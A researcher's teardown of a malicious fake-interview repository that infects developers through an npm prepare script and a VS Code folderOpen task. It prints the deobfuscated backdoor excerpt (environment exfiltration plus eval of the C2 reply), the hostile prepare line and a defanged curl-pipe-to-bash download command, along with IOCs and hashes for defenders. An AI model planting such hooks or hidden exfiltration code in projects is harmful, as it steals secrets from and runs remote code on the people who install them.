Security incidents
Altrix Fake Interview Repo, Technical Teardown: npm prepare, VS Code tasks.json and 19 C2 IPs (2026)
A static teardown of a Web3 poker project handed to engineers as a job interview assignment: two infection paths, three layers of cover and how to undo them, four techniques and 19 C2 IPs in the git history, with IOCs and hashes.
Kelvin Wang · · 12 min read
Key points
- Path one is the prepare script in package.json: npm install starts a server in the background, and the backdoor sits behind 633 spaces on line 18 of routes/api/auth.js.
- Path two is a folderOpen task in .vscode/tasks.json: once the folder is trusted it downloads four layers of scripts into ~/.vscode/ and runs ghost.js with its own copy of Node.
- The git history has 407 commits and four techniques in sequence; from January to November 2026 it rotated through 19 C2 IPs, all on port 1224.
- The repo has no code that steals wallets or passwords, and my 31 probes of the C2 with fake data got no next stage, but once a real machine connected, its login keychain was copied within a minute.
A classmate of mine was approached on LinkedIn for a job interview and was given a project called Altrix. It sits under the RareEvo-Tech-Hub organization on gitea.com and poses as a Web3 poker and metaverse game. On 25 November 2026 I took it apart on an isolated analysis machine. I only read the source and the files it downloads, and ran none of it.
- Commits, in three unconnected starting points
- 407
- C2 IPs rotated through the git history, January to November 2026
- 19
- Spaces hiding the malicious code at the end of a normal line
- 633
- Times I probed the C2 with fake data; it never sent a next stage
- 31
Both infection paths end in the same backdoor. Every 5 seconds it sends the hostname, a MAC address and the whole of process.env over plain HTTP to the C2 (command and control, the server a backdoor reports to and takes orders from). When status in the reply is "error", the reply body is executed as JavaScript. After deobfuscation the key lines look like this (excerpt):
const qs = new URLSearchParams({
sysInfo: JSON.stringify(info), // hostname, MAC, OS
processInfo: JSON.stringify(process.env), // the entire environment
tid: TID, sysId });
const res = await fetch('hxxp://192.99.204[.]156:1224/api/checkStatus?' + qs);
const { status, message } = await res.json();
if (status === 'error') { try { eval(message); } catch (e) {} }
URLs and IPs are defanged (hxxp, [.]) so they cannot be clicked or run. How the recruiter made contact, how the call led to running the code, and the checks and cleanup afterwards are in a separate post.
Path one: how does npm install become a backdoor?
The scripts in package.json include this line:
"prepare": "start /b node server || nohup node server &"
npm runs prepare on a local npm install1, with nothing more needed from you. start /b is a Windows command that puts the server in the background there. macOS and Linux have no such command, so it fails and the part after || runs instead: nohup node server &, also in the background, and still alive after you close the terminal. A side effect is a nohup.out file in the project folder, which is useful later for confirming whether it ever ran. Its absence does not clear you, because path two does not create it.
From server start to backdoor there are three more steps:
server.jsmakes sure it comes up. It tries port 3030 and adds 1 each time the port is taken.routes/index.jsloads every route. One line isrequire('./api/auth').- Line 18 of
routes/api/auth.jsholds the backdoor. The line starts with an ordinarymodule.exports = router;, followed by 633 spaces. The malicious code begins at column 658, and the line is 3,299 characters long.
In an editor without word wrap, line 18 looks like the last line of the file with blank space to its right.
The dependencies are clean. All 1,824 packages in client/package-lock.json come from the official npm registry, and the root dependencies are common packages. The malicious code is in the repo’s own files. Tools such as npm audit look at dependencies, so they will not flag it.
Path two: why does opening a folder in VS Code run code?
A VS Code task can set "runOn": "folderOpen", which runs it when the folder is opened2. The repo’s .vscode/tasks.json has two of these, both set to hide the terminal panel and not echo the command:
version-update. Runsnpm install --silent --no-progress, which leads into path one.env. Runs a one-line download per operating system. On macOS it iscurl -L 'hxxps://rareevo-mvp-core[.]vercel[.]app/api/settings/mac' | bash, and the panel closes when it finishes.
The env task uses the same trick as auth.js. About 560 spaces precede "command", which pushes the command out to column 581. Without word wrap, you open tasks.json and the command is not visible.
The first time you open an unfamiliar folder, VS Code asks whether you trust the authors. If you say no, automatic tasks never run, whatever else is configured2. If you say yes, one more setting applies, task.allowAutomaticTasks: with on the tasks run without asking, and otherwise VS Code first asks once whether to allow automatic tasks2. In an interview, most people will answer yes to both. Once allowed, both tasks run again every time the folder is opened. Cursor is a fork of VS Code and reads .vscode/tasks.json too.
What env downloads comes in four layers, all placed under ~/.vscode/. That folder already exists (VS Code keeps extensions in ~/.vscode/extensions/), so a few more files do not stand out.
- The first-stage script. It creates
~/.vscode/, downloadsvscode-bootstrap.sh, runs it, then prints a fake message,Opened Successfully. vscode-bootstrap.shsends itself to the background. All output is discarded, then it checks the system’s Node.js version.- Without Node 22 to 24 it downloads its own. It fetches the official v24.11.1 from nodejs.org and unpacks it to
~/.vscode/node-v24.11.1-darwin-arm64/. That Node is the genuine release. - It downloads and runs
ghost.js. It also downloads apackage.jsonand installsaxiosandrequestin~/.vscode/.
It brings its own Node because the backdoor uses Node’s built-in fetch, which is not there by default before Node 183. Compared character by character, ghost.js differs from line 18 of auth.js in only two places, both in how a space is written; the behavior and the C2 are identical. What matters is that it runs on its own. Even if you never start the project’s server, opening the folder and clicking Trust is enough.
Windows and Linux have their own versions. On Windows it downloads vscode-bootstrap.cmd, unpacks Node into .vscode\nodejs with msiexec, then runs ghost.npl.
Where is the malicious code hidden, and how do you find it yourself?
The repo uses three layers of cover:
- Long runs of spaces. They push code off the right edge of the screen. Both
auth.jsandtasks.jsonuse them. - obfuscator.io-style obfuscation. Every string is moved into one array, and the code keeps only lookups such as
os[_0x580235(0xaf)]. The array is rotated into its correct order only at run time, so reading the source does not tell you which index is which string. - base64. The C2 URL is encoded as
aHR0cDovLzE5Mi45OS4y…, so searching forhttpor an IP finds nothing.
The first layer is the easiest to check. This lists every line in the repo over 1,000 characters, which hand-written code rarely has:
git ls-files -z | xargs -0 awk 'length($0) > 1000 { print FILENAME ": line " FNR ", length " length($0) }'
Turning on word wrap in the editor (Option+Z or Alt+Z in VS Code) shows it as well, but choose “don’t trust” before you open the folder.
I did not run the obfuscated code to decode it. I pulled the string array and its checksum formula out with regular expressions, reproduced the “rotate until the checksum matches” loop in Python with integer arithmetic, mapped each index back to its string, and decoded the base64. No JavaScript was executed at any point. One variant in the history also turns on the obfuscator’s self-defending option, which makes the output stop working once it is reformatted or its variables are renamed4. It is aimed at people who beautify the code before reading it.
What is missing from the repo, and why treat it as a full compromise anyway?
I went through the whole history and every downloaded file. None of these are there:
- macOS Keychain. No
securitycommand and nologin.keychain-dbpath. - Browser data. No password or cookie paths for Chrome, Brave, Edge or Firefox.
- Crypto wallets. No extension IDs for MetaMask, Phantom and the like, and no desktop wallet data paths.
- Credential files. No
~/.ssh,~/.awsor~/.config/gh. - Other common features. No file upload, keylogging or screenshots, and no download of malicious executables (the Node it downloads is the official release).
- Persistence. Nothing writes a LaunchAgent, cron job, shell profile or login item.
All of it can arrive through the eval channel. Code pushed that way runs in memory by default, and unless it writes files itself it leaves nothing in the repo or on disk.
Between 16:34 and 16:41 (UTC+8) on 25 November I sent 31 fake reports with a made-up hostname and made-up environment variables. Each time the server answered {"status":"ok","message":"server connected"} plus an ID, and pushed no code. The attacker may pick targets by hand, may push only to machines that look like real developer environments, or may simply have been offline. From outside there is no way to tell. So “I got nothing when I tried” does not mean “victims got nothing.” Size your cleanup by what the backdoor is able to do, not by the code you can see in the repo.
My 31 probes getting nothing does not mean the channel is idle. My classmate ran npm i during the video interview, and the records he later found on his own machine show this: one minute later the login keychain, login.keychain-db, was copied to a temp folder; five minutes later a second-stage payload started and osascript was active; then the keychain was copied again. All of that was pushed from the remote side. None of it is in the repo.
What does the git history show?
The Gitea organization was created on 23 October 2026, yet the repo has 407 commits and three unconnected starting points. The oldest is tcpie, an unrelated open-source tool from 2015, whose 273 commits were grafted in so the project looks like it has been maintained for years. Commit dates do not match the actual order of the commits, and the author field shows about 30 identities. Git lets anyone type whatever author and date they like, so these are leads at most.
Decoding the malicious code in each historical version shows four techniques, one after another. The dates below are the ones recorded on the commits and may be forged:
-
2025-08-20
Read a URL from an environment variable, download code, eval it
.envholds a base64-encoded vercel.app URL;socket/index.jsfetches it and runs the result. tasks.json usescurl … | node. -
2025-12-01
POST the environment out first, then run the reply
Switched to axios with the header
x-app-request: ip-check, posing as an IP lookup. Most of the receiving vercel.app names contain ip-check as well. -
2025-12-30
Store the malicious code on BSC
socket/index.jsuses ethers to readgetMemo(1)from a smart contract and runs the returned string, inside a function named as if it loaded an NFT avatar. The repo itself contains no malicious code in plain text. -
2026-01-17
Current technique: the long-whitespace line in auth.js plus the tasks.json download chain
After this the skeleton stays the same. What changes is the C2 IP, the download host name and, now and then, an extra layer of string encoding.
-
2026-11-19
C2 changed to 192.99.204[.]156
The download host changed to rareevo-mvp-core the next day.
-
2026-11-25
Latest commit, README only
The version I sampled and analyzed.
Code stored on a blockchain cannot be taken down, and the repo itself holds only what looks like an ordinary contract read. This repo used the technique only briefly before moving on.
From January 2026 the backdoor’s skeleton is fixed, and the part that changes most often is the C2 IP:
Over the same period the download host in tasks.json moved through 10 vercel.app subdomains, mostly named like tool settings: vscode-check, vscode-settings, ip-checking. With rotation this frequent, blocking one IP or domain does little. Match on the parts that stay put: port 1224, the path /api/checkStatus, and the fixed value of the tid parameter.
Other researchers have analyzed the same structure. Microsoft calls attacks that lure developers into running a malicious project through a fake interview Contagious Interview. Its write-up says the attackers pose as recruiters from cryptocurrency trading firms or AI companies, and that once the victim trusts the repo, VS Code executes its task configuration5. In November 2026 Amsterdam Technologies took apart another sample with the same poker template, the same prepare line, and the code hidden on line 18 of auth.js. Its C2 was 51.210.65[.]37:12246. I compared it with the IPs in this repo’s history, and it is the same as the one on the commit dated October. That comparison is all I did; I make no attribution.
Indicators of compromise (IOC)
These are the versions sampled on 25 November 2026. The download host’s content can change at any time.
Current C2 and download host
hxxp://192.99.204[.]156:1224/api/checkStatus
hxxps://rareevo-mvp-core[.]vercel[.]app/api/settings/{mac,linux,windows,bootstraplinux,bootstrap,env,package}
Earlier C2s (all port 1224, path /api/checkStatus)
147.124.212[.]180 147.124.212[.]207 216.250.251[.]187 216.250.252[.]245
91.121.235[.]127 51.178.11[.]177 51.178.11[.]179 51.178.11[.]188
151.80.76[.]66 51.77.188[.]54 54.39.43[.]114 54.39.43[.]117
141.94.148[.]35 141.94.148[.]39 167.114.215[.]75 85.17.26[.]178
51.210.65[.]37 138.201.128[.]169
On-chain variant
C2: hxxp://163.245.194[.]216:3000/api/errorMessage
BSC contract: 0x5dbBAA6359C115FB0BCA334b06a1109979063972, function getMemo(uint256), argument 1
Earlier download hosts (each is <name>[.]vercel[.]app)
0g-auth-check oracle-reg-check oracle-v3-nu ip-address-check-moa5 ip-checking-livid
spherity-project trickgs-demo virtualpangea-mvp vscode-check-mo1 vscode-check-mo2
vscode-settings-0511 vscode-settings-529 ake-test api-royaljapan api111-jade astrahub
ip-check-pc ip-checking-notification-pic ip-core-api-0511 ipcheck-royal ipcheck-six
project-mjecx rgg-vercel test-g-acs
Network signature
- An HTTP GET to port 1224 every 5 seconds with the parameters
sysInfo=,processInfo=,sysId=and the fixedtid=bm93IGl0IHRpbWUgdG8gZ2V0IGV2ZXJ5dGhpbmc%3D - Earlier versions: a POST with the header
x-app-request: ip-check
Files on the host (macOS)
- In the project folder:
routes/api/auth.js(long whitespace on line 18),.vscode/tasks.json,nohup.out ~/.vscode/vscode-bootstrap.sh,~/.vscode/ghost.js,~/.vscode/package.json(itsnameis"env")~/.vscode/node_modules/request,~/.vscode/node-v24.11.1-darwin-arm64/or-x64/,~/.vscode/.txt- Processes
node serverandnode ~/.vscode/ghost.js, with the environment variableMINIMIZED=1 - Windows:
%USERPROFILE%\.vscode\vscode-bootstrap.cmd,ghost.npl
SHA256
| File | SHA256 |
|---|---|
package.json (repo) | c913a6b89e6f2d51cb9d6b45f75970cf571784453e85b3051b0409dabc1eb2f0 |
.vscode/tasks.json | 778c9e703b1d1dea66db0acf9f0f626b1a8d0ef76b7d8d481e9d6ea60ce8688d |
routes/api/auth.js | bb20d3c9dc84fb6f9d6b51c95ff8aa5e471181afb6bb622389d04e342c021047 |
/api/settings/mac | 61b2a8216d05898c47dde6297392748d9a665855b315efb96a5a54ed4594bcb2 |
/api/settings/linux | 018a12bc37fd9dc4474fe1196e00d24feb915b45ab81717e5436a1cc3f6682ad |
/api/settings/windows | bec6e31a9033e7b3bf642976bff3d6b9dd5388d208e89bc6a7ad1ffb2dcc8a9c |
vscode-bootstrap.sh | d518cbe878e5ab2808344ba7945683c58a6aab6f473da92182097f6761378495 |
vscode-bootstrap.cmd | 3f018c1a6b9246168d590513db9ee89287d319a935782c8287dce47ec8562acb |
ghost.js | 4e82b23135039838d265ec36901d4a7823f5b895925298a9711eaf744035f73c |
package.json from the download host | 6effad9fdee81589b37c60bbbae20483200bf53bee3e3c107b1aa47d2ac4ccb3 |
| Code string stored on BSC | c280e8fc999535837767bc8059bc92614cccd46cff97e7ef32fcff0ff4c06110 |
The three repo files are from commit 8a0181d70a49c072a4ccde078b15eab0e65d2478; the download-host files are as fetched at 16:34 (UTC+8) on 2026-11-25.
Accounts
- Gitea organization
RareEvo-Tech-Hub(created 2026-10-23), repoAltrix - Accounts with push access:
CodeBlock290,Staratlas-Hub10
The author fields of historical commits contain more than twenty email addresses. Anyone can type anything into a git author field, and some of these may belong to unrelated people whose names were borrowed, so they are not listed here. The names GGLab, Virtual Pangea, 0G Rollplay and Multibank Poker appear in the project. Those may be borrowed too, and do not mean that a company or project of the same name is involved.
If files or connections on your machine match these indicators, follow the order in this post.
Go deeper A LinkedIn Interviewer Asks You to Run npm install: the 2026 Fake Job Interview Repo, Checks and Cleanup The recruiter's script on LinkedIn and on the video call, the macOS checks, and the order to clean up in.Sources
Kelvin Wang
Electrical engineer building tools with AI agents, sharing hands-on notes on engineering and investing.
More about me